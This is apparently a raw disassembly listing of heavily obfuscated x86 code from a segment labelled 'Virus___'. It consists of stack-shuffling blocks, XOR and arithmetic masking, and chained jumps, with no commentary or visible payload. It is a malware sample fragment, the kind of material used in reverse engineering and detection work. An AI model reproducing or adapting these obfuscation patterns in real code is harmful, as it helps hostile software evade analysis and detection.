loc_588601:				; CODE XREF: Virus___:00581D2Ej
		sub	edi, 60401A9h
		add	eax, edi
		pop	edi
		xchg	eax, [esp]
		jmp	loc_580329
; ---------------------------------------------------------------------------


loc_588612:				; CODE XREF: Virus___:005908FDj
		pop	ebx
		sub	ecx, 76A87018h
		add	ecx, ebp
		add	ecx, 76A87018h
		mov	ebp, [esp]
		add	esp, 4
		add	ecx, 2
		xchg	ecx, [esp]
		pop	esp
		imul	cx
		push	ecx
		jmp	loc_580C0B
; ---------------------------------------------------------------------------


loc_58863A:				; CODE XREF: Virus___:0058C3DDj
		add	esp, 4
		add	esp, 4
		add	ebx, 4
		push	53E4h
		mov	[esp], eax
		push	4
		jmp	loc_58785A
; ---------------------------------------------------------------------------


loc_588658:				; CODE XREF: Virus___:005896B1j
		add	esp, 4
		sub	edx, 7A1D6889h
		sub	edx, 5D6F291Eh
		add	edx, edi
		add	edx, 5D6F291Eh
		push	ebp
		jmp	loc_58CE2B
; ---------------------------------------------------------------------------


loc_588678:				; CODE XREF: Virus___:00589B18j
		neg	edx
		jmp	loc_58ADD3
; ---------------------------------------------------------------------------


loc_58867F:				; CODE XREF: Virus___:00587626j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	esp, 4
		jmp	loc_5879B7
; ---------------------------------------------------------------------------


loc_58868F:				; CODE XREF: Virus___:00590092j
		xor	edx, 4D733043h
		dec	edx
		jmp	loc_593FC5
; ---------------------------------------------------------------------------


loc_58869B:				; CODE XREF: Virus___:005942CFj
		mov	ax, 5B80h
		jmp	loc_57FDB4
; ---------------------------------------------------------------------------


loc_5886A4:				; CODE XREF: Virus___:00588956j
		sub	ecx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	esi, [esp]
		add	esp, 4
		push	edx
		push	31D7h
		mov	[esp], esi
		mov	esi, 29533C55h
		xor	esi, 0E7E6719h
		shr	esi, 8
		push	ecx
		mov	ecx, 459503BCh
		push	ebp
		jmp	loc_5939FC
; ---------------------------------------------------------------------------


loc_5886D6:				; CODE XREF: Virus___:0058559Cj
		pop	ecx
		add	ecx, 4
		push	edx
		mov	edx, 4
		jmp	loc_587F03
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_58A179
; ---------------------------------------------------------------------------


loc_5886F1:				; CODE XREF: Virus___:0057FE6Bj
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 4
		add	eax, ebx
		jmp	loc_57F8F2
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_58611A
; ---------------------------------------------------------------------------


loc_588718:				; CODE XREF: Virus___:005878A5j
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_586952
; ---------------------------------------------------------------------------


loc_588723:				; CODE XREF: Virus___:0058A995j
		sub	ch, 0B8h
		dec	ch
		jmp	loc_5932DF
; ---------------------------------------------------------------------------


loc_58872D:				; CODE XREF: Virus___:00588984j
		add	esp, 4
		add	esi, 2
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		jmp	loc_583170
; ---------------------------------------------------------------------------


loc_588743:				; CODE XREF: Virus___:0058D935j
		mov	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	ebp, edx
		pop	edx
		jmp	loc_58FABD
; ---------------------------------------------------------------------------


loc_588756:				; CODE XREF: Virus___:0058719Fj
		mov	ebx, [esp]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_590DD7
; ---------------------------------------------------------------------------


loc_588767:				; CODE XREF: Virus___:00582DDFj
		pop	ebp
		jmp	loc_593054
; ---------------------------------------------------------------------------


loc_58876D:				; CODE XREF: Virus___:00581CC8j
		sub	edi, 0FFEF4594h
		add	edx, edi
		jmp	loc_58E410
; ---------------------------------------------------------------------------


loc_58877A:				; CODE XREF: Virus___:005938FDj
		sub	eax, esi
		jmp	loc_580B03
; ---------------------------------------------------------------------------


loc_588781:				; CODE XREF: Virus___:00591419j
		or	ebx, edi
		pop	edi
		inc	ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 28EC582Eh
		inc	edx
		shl	edx, 7
		add	edx, 161FF286h
		jmp	loc_581165
; ---------------------------------------------------------------------------


loc_5887A2:				; CODE XREF: Virus___:0058B08Fj
		mov	edx, 442D6782h
		jmp	loc_5868CB
; ---------------------------------------------------------------------------


loc_5887AC:				; CODE XREF: Virus___:0058E20Ej
		pop	ecx
		pop	edi
		add	eax, 45DA4777h
		push	eax
		xor	dword ptr [esp], 10EB4AE7h
		pop	edi
		xor	edi, 10EB4AE7h
		pop	eax
		add	ecx, 58944928h
		add	ecx, edi
		push	edx
		mov	edx, 58944928h
		sub	ecx, edx
		pop	edx
		pop	edi
		jmp	loc_5836EC
; ---------------------------------------------------------------------------


loc_5887DA:				; CODE XREF: Virus___:0058826Cj
		add	esp, 2
		push	2A5Eh
		mov	[esp], edx
		mov	dx, 7D83h
		and	dx, 59DEh
		jmp	loc_5842FA
; ---------------------------------------------------------------------------


loc_5887F6:				; CODE XREF: Virus___:0058CF6Aj
		push	ebp
		mov	ebp, 3720322Eh
		or	ebp, 444D6046h
		jmp	loc_59444A
; ---------------------------------------------------------------------------


loc_588807:				; CODE XREF: Virus___:00580B9Cj
		mov	eax, 263F4D65h
		jmp	loc_58F027
; ---------------------------------------------------------------------------


loc_588811:				; CODE XREF: Virus___:0058CD32j
		pop	ecx
		add	eax, 7A2B4D52h
		jmp	loc_58B9C1
; ---------------------------------------------------------------------------


loc_58881C:				; CODE XREF: Virus___:0058B2F6j
		pop	edx
		sub	bl, al
		pop	eax
		movzx	eax, al
		mov	dx, [esp]
		push	401Eh
		jmp	loc_580EAD
; ---------------------------------------------------------------------------


loc_588831:				; CODE XREF: Virus___:0058B484j
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_58F84B
; ---------------------------------------------------------------------------


loc_58883C:				; CODE XREF: Virus___:0058DB30j
		push	edi
		mov	edi, 3F64BF3h
		jmp	loc_58336D
; ---------------------------------------------------------------------------


loc_588847:				; CODE XREF: Virus___:005811DAj
		pop	esp
		push	edi
		mov	edi, 32077F1Fh
		sub	edi, 268830D8h
		and	edi, 63D21B27h
		sub	edi, 3520A03h
		add	eax, edi
		jmp	loc_592380
; ---------------------------------------------------------------------------


loc_588867:				; CODE XREF: Virus___:0058D2FAj
		xor	dh, 16h
		or	ch, dh
		mov	edx, [esp]
		add	esp, 4
		push	small 0
		sub	byte ptr [esp],	0BFh
		sub	[esp], ch
		jmp	loc_58834E
; ---------------------------------------------------------------------------


loc_588882:				; CODE XREF: Virus___:00590EE2j
		pop	edi
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 20h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, 533A40B4h
		jmp	loc_580C5F
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	eax
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	eax
		push	ecx
		push	60D9h
		mov	[esp], edi
		push	ebp
		mov	ebp, 34981C69h
		mov	edi, 86624AE0h
		sub	edi, ebp
		pop	ebp
		mov	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		shr	ecx, 7
		jmp	loc_593EE4
; ---------------------------------------------------------------------------


loc_5888F2:				; CODE XREF: Virus___:00590841j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 4
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_58DB42
; ---------------------------------------------------------------------------


loc_588911:				; CODE XREF: Virus___:00584782j
		mov	al, cl
		pop	ecx
		jmp	loc_587803
; ---------------------------------------------------------------------------


loc_588919:				; CODE XREF: Virus___:0058E637j
		shr	ecx, 2
		sub	ecx, 0C94473CFh
		jmp	loc_5863A2
; ---------------------------------------------------------------------------


loc_588927:				; CODE XREF: Virus___:0058901Cj
		pop	eax
		xor	ch, bh
		mov	ebx, [esp]
		jmp	loc_589944
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp],	cl
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_588941:				; CODE XREF: Virus___:00593554j
		pop	edx
		xor	edx, edx
		jmp	loc_5811AA
; ---------------------------------------------------------------------------


loc_588949:				; CODE XREF: Virus___:00590395j
		mov	ebx, esp
		jmp	loc_58666D
; ---------------------------------------------------------------------------


loc_588950:				; CODE XREF: Virus___:0058E25Cj
		push	ebp
		mov	ebp, 5895362Ah
		jmp	loc_5886A4
; ---------------------------------------------------------------------------


loc_58895B:				; CODE XREF: Virus___:00588DADj
		add	esi, ebp
		push	2D0Ah
		mov	[esp], edx
		jmp	loc_58D24F
; ---------------------------------------------------------------------------


loc_58896A:				; CODE XREF: Virus___:005818E0j
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_591C98
; ---------------------------------------------------------------------------


loc_588981:				; CODE XREF: Virus___:00580729j
		mov	edx, [esp]
		jmp	loc_58872D
; ---------------------------------------------------------------------------


loc_588989:				; CODE XREF: Virus___:0058C412j
		mov	ebx, esp
		jmp	loc_584B9C
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	29A6h
		mov	[esp], ecx
		push	ebp
		push	esp
		pop	ebp
		push	esi
		mov	esi, 2B450B56h
		push	ebx
		mov	ebx, 0D4BAF4AEh
		add	esi, ebx
		jmp	loc_58DDAB
; ---------------------------------------------------------------------------


loc_5889B1:				; CODE XREF: Virus___:0057F826j
		mov	ecx, 47D847D1h
		jmp	loc_58FD76
; ---------------------------------------------------------------------------


loc_5889BB:				; CODE XREF: Virus___:00590AACj
		pop	edi
		sub	esp, 4
		jmp	loc_583707
; ---------------------------------------------------------------------------


loc_5889C4:				; CODE XREF: Virus___:00593EDFj
		inc	ecx
		xchg	ecx, edx
		sub	edx, 26084DBAh
		add	ebx, edx
		pop	edx
		xor	ebx, [esp]
		jmp	loc_589D86
; ---------------------------------------------------------------------------


loc_5889D8:				; CODE XREF: Virus___:0058EF8Bj
		push	ebp
		push	esp
		pop	ebp
		push	edi
		push	edx
		push	ebp
		push	2A501DACh
		pop	ebp
		jmp	loc_58E047
; ---------------------------------------------------------------------------


loc_5889E9:				; CODE XREF: Virus___:0058E315j
		mov	[esp], ebp
		mov	ebp, 0A757706h
		sub	eax, 67B30EEh
		sub	eax, ebp
		add	eax, 67B30EEh
		pop	ebp
		sub	esp, 4
		mov	[esp], ebp
		push	eax
		push	504Ah
		mov	[esp], esi
		mov	esi, 2DF30ED6h
		push	4ECFh
		jmp	loc_585C4F
; ---------------------------------------------------------------------------


loc_588A1C:				; CODE XREF: Virus___:00588B94j
		add	esp, 4
		or	eax, eax
		jz	loc_57FA8A
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 1Ch
		add	ebx, 783063FFh
		push	eax
		push	ecx
		push	195440ECh
		jmp	loc_590C23
; ---------------------------------------------------------------------------


loc_588A4A:				; CODE XREF: Virus___:0058B979j
		add	esp, 4
		jmp	loc_58F263
; ---------------------------------------------------------------------------


loc_588A55:				; CODE XREF: Virus___:005804DBj
		push	eax
		jmp	loc_5809B5
; ---------------------------------------------------------------------------


loc_588A5B:				; CODE XREF: Virus___:00586607j
		mov	edi, 1D690863h
		inc	edi
		push	ebp
		mov	ebp, 47645CACh
		push	0
		jmp	loc_58DE04
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	763Bh
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		push	2D0Dh
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_58A00B
; ---------------------------------------------------------------------------


loc_588AC9:				; CODE XREF: Virus___:005894D3j
		add	ebp, 4
		jmp	loc_58F058
; ---------------------------------------------------------------------------


loc_588AD4:				; CODE XREF: Virus___:00591ABFj
		pop	ecx
		add	esi, 0BF323603h
		sub	ebx, esi
		mov	esi, [esp]
		jmp	loc_5882EB
; ---------------------------------------------------------------------------


loc_588AE5:				; CODE XREF: Virus___:00586E7Dj
		push	50F56EF1h
		pop	ebx
		sub	ebx, 0FED1838h
		shr	ebx, 2
		sub	ebx, 2CD5F89h
		jmp	loc_58BB4F
; ---------------------------------------------------------------------------


loc_588AFF:				; CODE XREF: Virus___:005875F2j
		mov	esp, [esp]
		and	eax, esi
		pop	esi
		or	edx, eax
		shl	edx, 1
		push	ecx
		mov	ecx, 24h
		add	ecx, 1AFD54C3h
		jmp	loc_590A3C
; ---------------------------------------------------------------------------


loc_588B1A:				; CODE XREF: Virus___:00583E17j
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_590902
; ---------------------------------------------------------------------------


loc_588B29:				; CODE XREF: Virus___:0058A79Dj
		mov	[esp], edx
		push	0A6Bh
		mov	[esp], ecx
		jmp	loc_58D970
; ---------------------------------------------------------------------------


loc_588B39:				; CODE XREF: Virus___:00588333j
		xchg	ebx, [esp]
		pop	esp
		push	edx
		mov	edx, 2
		add	ebx, edx
		push	dword ptr [esp]
		jmp	loc_594455
; ---------------------------------------------------------------------------


loc_588B4D:				; CODE XREF: Virus___:00591A2Bj
		push	ecx
		mov	edi, [esp]
		jmp	loc_585461
; ---------------------------------------------------------------------------


loc_588B56:				; CODE XREF: Virus___:005901BAj
		mov	[esp], ebp
		mov	ebp, esp
		push	edi
		mov	edi, 36F04B38h
		shr	edi, 5
		shl	edi, 2
		push	esi
		mov	esi, 7B427E19h
		neg	esi
		jmp	loc_5858EF
; ---------------------------------------------------------------------------


loc_588B74:				; CODE XREF: Virus___:0058C20Dj
		pop	edi
		jmp	loc_5932A3
; ---------------------------------------------------------------------------


loc_588B7A:				; CODE XREF: Virus___:005865EDj
		sub	esp, 4
		jmp	loc_58A63A
; ---------------------------------------------------------------------------


loc_588B85:				; CODE XREF: Virus___:00581F06j
		add	eax, 4
		jmp	loc_5827D3
; ---------------------------------------------------------------------------


loc_588B8F:				; CODE XREF: Virus___:00592EA0j
		and	eax, ebp
		mov	ebp, [esp]
		jmp	loc_588A1C
; ---------------------------------------------------------------------------


loc_588B99:				; CODE XREF: Virus___:00585C89j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_584132
; ---------------------------------------------------------------------------


loc_588BA7:				; CODE XREF: Virus___:0059086Cj
		sub	esp, 4
		mov	[esp], edi
		push	eax
		mov	eax, 60201130h
		mov	edi, eax
		pop	eax
		push	edx
		mov	edx, 38703D03h
		add	edx, 4090EADAh
		add	edi, edx
		pop	edx
		jmp	loc_5927D4
; ---------------------------------------------------------------------------


loc_588BCD:				; CODE XREF: Virus___:0058D022j
		push	0
		sub	[esp], eax
		jmp	loc_592076
; ---------------------------------------------------------------------------


loc_588BDA:				; CODE XREF: Virus___:00584DB9j
		sub	ebp, 7CC470C3h
		xor	ebp, 1DB08031h
		mov	ebx, ebp
		pop	ebp
		jmp	loc_591800
; ---------------------------------------------------------------------------


loc_588BEE:				; CODE XREF: Virus___:005834AEj
		xor	ebp, 7B2D6FC2h
		add	ecx, ebp
		pop	ebp
		jmp	loc_594411
; ---------------------------------------------------------------------------


loc_588BFC:				; CODE XREF: Virus___:0058F597j
		pop	ebp
		add	esp, 4
		push	edi
		jmp	loc_58DF79
; ---------------------------------------------------------------------------


loc_588C09:				; CODE XREF: Virus___:00589C07j
		pop	edi
		jmp	loc_57F805
; ---------------------------------------------------------------------------


loc_588C0F:				; CODE XREF: Virus___:0057F973j
		pop	edi
		add	edi, ecx
		mov	ecx, [esp]
		push	47A0h
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_5863FA
; ---------------------------------------------------------------------------


loc_588C24:				; CODE XREF: Virus___:0058541Ej
		sub	eax, 17BC5FC6h
		push	esi
		mov	esi, 4D261B3Dh
		sub	esi, 7A543D41h
		shr	esi, 3
		jmp	loc_58B8CD
; ---------------------------------------------------------------------------


loc_588C3D:				; CODE XREF: Virus___:0058BB31j
		push	edi
		mov	edi, 8260080h
		jmp	loc_582E5E
; ---------------------------------------------------------------------------


loc_588C48:				; CODE XREF: Virus___:0057FB8Ej
		or	dh, 27h
		neg	dh
		xchg	cl, dh
		not	cl
		jmp	loc_5876AF
; ---------------------------------------------------------------------------


loc_588C56:				; CODE XREF: Virus___:00590809j
		sub	esi, eax
		jmp	loc_582CAF
; ---------------------------------------------------------------------------


loc_588C5D:				; CODE XREF: Virus___:0058011Aj
		pop	edi
		push	ebp
		mov	ebp, 3A832F44h
		push	7216h
		jmp	loc_58E291
; ---------------------------------------------------------------------------


loc_588C6E:				; CODE XREF: Virus___:0058B499j
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	4972h
		mov	[esp], ebp
		push	5DE8h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		jmp	loc_591015
; ---------------------------------------------------------------------------


loc_588CAB:				; CODE XREF: Virus___:00590AF4j
		xor	ebx, edi
		pop	edi
		jmp	loc_58D0ED
; ---------------------------------------------------------------------------


loc_588CB3:				; CODE XREF: Virus___:0058838Cj
		add	esp, 4
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_588CBB:				; CODE XREF: Virus___:00591287j
		pop	edx
		pop	ebx
		add	al, bl
		sub	al, 0Bh
		push	edx
		jmp	loc_592B04
; ---------------------------------------------------------------------------


loc_588CC7:				; CODE XREF: Virus___:0058B5F1j
		pop	esi
		add	eax, edx
		mov	edx, [esp]
		jmp	loc_58A888
; ---------------------------------------------------------------------------


loc_588CD2:				; CODE XREF: Virus___:005828F4j
		add	esp, 4
		add	esp, 4
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_59114F
; ---------------------------------------------------------------------------


loc_588CE6:				; CODE XREF: Virus___:005814CFj
		sub	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], ebx
		mov	bh, 7Eh
		jmp	loc_591D47
; ---------------------------------------------------------------------------


loc_588D00:				; CODE XREF: Virus___:0058BAD4j
		pop	esp
		div	cl
		movzx	cx, ah
		push	small 6C87h
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_590E24
; ---------------------------------------------------------------------------


loc_588D1B:				; CODE XREF: Virus___:00583A91j
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	2DE3h
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_584A89
; ---------------------------------------------------------------------------


loc_588D3B:				; CODE XREF: Virus___:00593258j
		and	edx, 5E8A0743h
		push	edi
		mov	edi, 2668067Bh
		shr	edi, 5
		sub	edi, 2243143Ch
		jmp	loc_589C37
; ---------------------------------------------------------------------------


loc_588D55:				; CODE XREF: Virus___:0058778Aj
		sub	eax, 38570CD4h
		add	eax, edx
		add	eax, 38570CD4h
		pop	edx
		jmp	loc_58F7E6
; ---------------------------------------------------------------------------


loc_588D67:				; CODE XREF: Virus___:0058EC60j
		add	eax, esi
		pop	esi
		jmp	loc_5917AB
; ---------------------------------------------------------------------------


loc_588D6F:				; CODE XREF: Virus___:00584071j
		neg	ebx
		add	ebx, 6611C1E8h
		and	edi, ebx
		pop	ebx
		neg	edi
		inc	edi
		jmp	loc_583FC4
; ---------------------------------------------------------------------------


loc_588D82:				; CODE XREF: Virus___:00587A6Ej
		sub	bl, ch
		pop	cx
		jmp	loc_582635
; ---------------------------------------------------------------------------


loc_588D8B:				; CODE XREF: Virus___:00580DF8j
		add	dh, al
		pop	eax
		sub	dh, 8Fh
		add	al, dh
		jmp	loc_589E7A
; ---------------------------------------------------------------------------


loc_588D98:				; CODE XREF: Virus___:0059355Fj
		and	ebp, 7F495400h
		neg	ebp
		inc	ebp
		xor	ebp, 0EEF7FC05h
		add	esi, 33B55D3Bh
		jmp	loc_58895B
; ---------------------------------------------------------------------------


loc_588DB2:				; CODE XREF: Virus___:00581406j
		pop	ecx
		add	ebp, edi
		jmp	loc_593F5D
; ---------------------------------------------------------------------------


loc_588DBA:				; CODE XREF: Virus___:00586668j
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	18F5h
		jmp	loc_590F69
; ---------------------------------------------------------------------------


loc_588DCA:				; CODE XREF: Virus___:0058E856j
		sub	esp, 4
		jmp	loc_58A075
; ---------------------------------------------------------------------------


loc_588DD2:				; CODE XREF: Virus___:00592DDCj
		pop	edi
		and	edi, 6548651Fh
		push	eax
		mov	eax, 58252951h
		add	eax, 3E9216A8h
		inc	eax
		shl	eax, 2
		sub	eax, 0F9DCBFDCh
		jmp	loc_580AC9
; ---------------------------------------------------------------------------


loc_588DF2:				; CODE XREF: Virus___:00585C52j
		xor	dword ptr [esp], 71896853h
		pop	eax
		xor	eax, 71896853h
		pop	esi
		mov	ebp, eax
		push	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, esp
		push	esi
		push	ebx
		jmp	loc_592F7C
; ---------------------------------------------------------------------------


loc_588E10:				; CODE XREF: Virus___:00580F3Ej
		add	ebp, eax
		sub	ebp, 3A97741Eh
		pop	eax
		push	esi
		mov	esi, 706809EEh
		sub	ebp, esi
		pop	esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_59422F
; ---------------------------------------------------------------------------


loc_588E34:				; CODE XREF: Virus___:005877D8j
		xor	ebx, 98E1BD0Ah
		xor	eax, ebx
		pop	ebx
		jmp	loc_580651
; ---------------------------------------------------------------------------


loc_588E42:				; CODE XREF: Virus___:00586C2Fj
		push	0
		add	dword ptr [esp], 24C11648h
		jmp	loc_581DB2
; ---------------------------------------------------------------------------


loc_588E53:				; CODE XREF: Virus___:005827A8j
		push	eax
		mov	al, 4Ch
		shr	al, 7
		and	al, 7Dh
		jmp	loc_586EB8
; ---------------------------------------------------------------------------


loc_588E60:				; CODE XREF: Virus___:0057F775j
		add	ecx, 6097492Ah
		jmp	loc_59214C
; ---------------------------------------------------------------------------


loc_588E6B:				; CODE XREF: Virus___:00592FA4j
		mov	esi, [esp]
		jmp	loc_584746
; ---------------------------------------------------------------------------


loc_588E73:				; CODE XREF: Virus___:00582C0Aj
		sub	eax, 4A1B53EFh
		sub	eax, ecx
		add	eax, 4A1B53EFh
		jmp	loc_585212
; ---------------------------------------------------------------------------


loc_588E84:				; CODE XREF: Virus___:0057FC78j
		add	edx, 0D357F314h
		add	ecx, edx
		pop	edx
		jmp	loc_58D69C
; ---------------------------------------------------------------------------


loc_588E92:				; CODE XREF: Virus___:00580817j
		pop	edi
		jmp	loc_5899D8
; ---------------------------------------------------------------------------


loc_588E98:				; CODE XREF: Virus___:00592E93j
		dec	dword ptr [esp]
		pop	ebp
		neg	ebp
		xor	ebp, 0CB3D80CCh
		jmp	loc_590DEC
; ---------------------------------------------------------------------------


loc_588EA9:				; CODE XREF: Virus___:00581CBEj
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5939BF
; ---------------------------------------------------------------------------


loc_588EB2:				; CODE XREF: Virus___:0059310Bj
		pop	edx
		xor	ebp, 22D15AC0h
		add	ebx, ebp
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_58D476
; ---------------------------------------------------------------------------


loc_588ECF:				; CODE XREF: Virus___:005812B0j
		and	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		push	esi
		sub	esp, 4
		jmp	loc_585140
; ---------------------------------------------------------------------------


loc_588EE3:				; CODE XREF: Virus___:0059123Ej
		sub	edi, 7CBD504Bh
		sub	edi, ecx
		add	edi, 7CBD504Bh
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		shl	edi, 7
		push	edi
		xchg	esi, [esp]
		not	esi
		xchg	esi, [esp]
		jmp	loc_58DECD
; ---------------------------------------------------------------------------


loc_588F17:				; CODE XREF: Virus___:005820B4j
		sub	ebp, 6C6D62A0h
		jmp	loc_590ABC
; ---------------------------------------------------------------------------


loc_588F22:				; CODE XREF: Virus___:00589E57j
		push	esi
		mov	esi, 370D7FE8h
		neg	esi
		jmp	loc_587ED0
; ---------------------------------------------------------------------------


loc_588F2F:				; CODE XREF: Virus___:0058167Bj
		pop	eax
		pop	ebp
		shr	eax, 1
		jmp	loc_5827B7
; ---------------------------------------------------------------------------


loc_588F38:				; CODE XREF: Virus___:0058DF8Dj
		add	ebp, edi
		pop	edi
		push	eax
		push	ebx
		jmp	loc_58119E
; ---------------------------------------------------------------------------


loc_588F42:				; CODE XREF: Virus___:00593AE2j
		pop	esp
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_588F48:				; CODE XREF: Virus___:0058A710j
		sub	eax, 26A25A70h
		jmp	loc_58E2FD
; ---------------------------------------------------------------------------


loc_588F52:				; CODE XREF: Virus___:0058ED12j
		shr	eax, 1
		push	ebp
		mov	ebp, 468362CAh
		sub	eax, 4EBE1DDCh
		add	eax, ebp
		add	eax, 4EBE1DDCh
		pop	ebp
		or	edx, eax
		pop	eax
		jmp	loc_583B20
; ---------------------------------------------------------------------------


loc_588F6F:				; CODE XREF: Virus___:0058CD28j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_58A642
; ---------------------------------------------------------------------------


loc_588F81:				; CODE XREF: Virus___:0058EC34j
		sub	dword ptr [esp+8], 4A0D6F45h
		sub	[esp+8], eax
		add	dword ptr [esp+8], 4A0D6F45h
		sub	dword ptr [esp+8], 3FC22DAh
		sub	dword ptr [esp+8], 0BEA28FDh
		jmp	loc_58DDCF
; ---------------------------------------------------------------------------


loc_588FAA:				; CODE XREF: Virus___:00580294j
		xor	edx, ecx
		xor	ecx, edx
		not	edx
		push	ecx
		jmp	loc_59124C
; ---------------------------------------------------------------------------


loc_588FB6:				; CODE XREF: Virus___:0058D44Fj
		add	eax, 2D8C3EBFh
		add	eax, ebp
		sub	eax, 2D8C3EBFh
		mov	ebp, [esp]
		add	esp, 4
		xchg	eax, [esp]
		jmp	loc_593614
; ---------------------------------------------------------------------------


loc_588FD0:				; CODE XREF: Virus___:00594509j
		sub	esp, 4
		mov	[esp], ebx
		push	esi
		push	ecx
		mov	ecx, 37C61CA0h
		jmp	loc_58F284
; ---------------------------------------------------------------------------


loc_588FE2:				; CODE XREF: Virus___:0058DE5Ej
		mov	ecx, esp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 12232C2Dh
		push	edi
		mov	edi, 0CCC352Eh
		and	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		xor	ebp, 103B563Eh
		push	esi
		mov	esi, 78DE7AB8h
		xor	esi, 0A905505h
		jmp	loc_581327
; ---------------------------------------------------------------------------


loc_58901A:				; CODE XREF: Virus___:0058E220j
		add	ch, ah
		jmp	loc_588927
; ---------------------------------------------------------------------------


loc_589021:				; CODE XREF: Virus___:0058444Aj
		sub	ebx, ebp
		add	ebx, 788026E0h
		jmp	loc_5907E4
; ---------------------------------------------------------------------------


loc_58902E:				; CODE XREF: Virus___:00581295j
		xchg	ebx, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_58AB16
; ---------------------------------------------------------------------------


loc_589057:				; CODE XREF: Virus___:00591DFDj
		add	esp, 4
		push	ebp
		push	134Ch
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		jmp	loc_582747
; ---------------------------------------------------------------------------


loc_589070:				; CODE XREF: Virus___:005873B7j
		push	edi
		mov	edi, esp
		push	6B3Eh
		mov	[esp], eax
		push	ebx
		jmp	loc_59379D
; ---------------------------------------------------------------------------


loc_589081:				; CODE XREF: Virus___:00583BB8j
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_586E82
; ---------------------------------------------------------------------------


loc_58908C:				; CODE XREF: Virus___:00580645j
		add	esp, 4
		shr	edi, 2
		shr	edi, 2
		shr	edi, 4
		push	edx
		jmp	loc_58F899
; ---------------------------------------------------------------------------


loc_58909E:				; CODE XREF: Virus___:00584CFBj
		pop	edi
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		push	edx
		mov	edx, 418D517Ch
		jmp	loc_592BFB
; ---------------------------------------------------------------------------


loc_5890BB:				; CODE XREF: Virus___:005861C3j
		push	ecx
		mov	ecx, 6E513707h
		jmp	loc_58226E
; ---------------------------------------------------------------------------


loc_5890C6:				; CODE XREF: Virus___:0058647Dj
		pop	esp
		sub	ebp, 766A70B5h
		add	ebp, esi
		add	ebp, 766A70B5h
		pop	esi
		push	edx
		mov	edx, 4
		jmp	loc_5897B0
; ---------------------------------------------------------------------------


loc_5890E1:				; CODE XREF: Virus___:00585397j
		add	edi, 4
		push	eax
		mov	eax, 4
		sub	edi, eax
		jmp	loc_59162A
